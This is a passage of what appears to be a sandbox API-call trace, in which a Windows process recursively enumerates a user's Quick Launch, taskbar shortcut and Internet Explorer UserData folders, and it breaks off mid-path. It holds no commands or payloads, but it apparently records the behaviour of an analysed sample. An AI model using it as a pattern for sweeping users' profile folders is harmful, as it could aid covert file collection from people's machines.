0x5dae20 [0053.659] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.659] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc4b320, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.659] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e02c640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e02c640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0053.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.659] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc251c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc251c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer (2).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1 [0053.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0053.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.659] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0053.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.659] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0de7e00, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0053.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.659] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer (2).lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0053.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0053.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.660] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0053.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.660] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player (2).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0053.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0053.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.660] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0053.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0053.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.660] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0053.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0053.660] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9a8 | out: hHeap=0x540000) returned 1 [0053.660] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0 [0053.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb6f0 [0053.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0053.660] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0053.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0053.662] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.662] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1 [0053.662] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1 [0053.662] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0 [0053.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb6f0 | out: hHeap=0x540000) returned 1 [0053.662] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0053.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0053.662] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0053.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.663] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0053.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0053.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5feab0 [0053.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0053.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe998 | out: hHeap=0x540000) returned 1 [0053.663] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0053.663] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0053.663] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.663] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4eb35ad0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.663] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a683760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0053.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.663] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb0f970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4eb0f970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4eb0f970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Launch Internet Explorer Browser.lnk", cAlternateFileName="LAUNCH~1.LNK")) returned 1 [0053.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0053.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0053.663] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1 [0053.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.663] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1 [0053.663] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0053.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.663] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0053.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5feab0 | out: hHeap=0x540000) returned 1 [0053.664] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0053.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0053.664] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0053.664] lstrcmpW (lpString1="UserData", lpString2=".") returned 1 [0053.664] lstrcmpW (lpString1="UserData", lpString2="..") returned 1 [0053.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0053.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0053.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xee) returned 0x5f1708 [0053.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0053.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1610 | out: hHeap=0x540000) returned 1 [0053.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0053.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.664] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0053.681] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.681] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.681] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.681] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.681] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0053.681] lstrcmpW (lpString1="Low", lpString2=".") returned 1 [0053.681] lstrcmpW (lpString1="Low", lpString2="..") returned 1 [0053.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559c58 [0053.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559e80 [0053.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.681] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0053.682] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.682] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.682] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.682] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="65UX3YG0", cAlternateFileName="")) returned 1 [0053.682] lstrcmpW (lpString1="65UX3YG0", lpString2=".") returned 1 [0053.682] lstrcmpW (lpString1="65UX3YG0", lpString2="..") returned 1 [0053.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0053.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559f38 [0053.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5feab0 [0053.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559f38 | out: hHeap=0x540000) returned 1 [0053.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0053.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.682] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 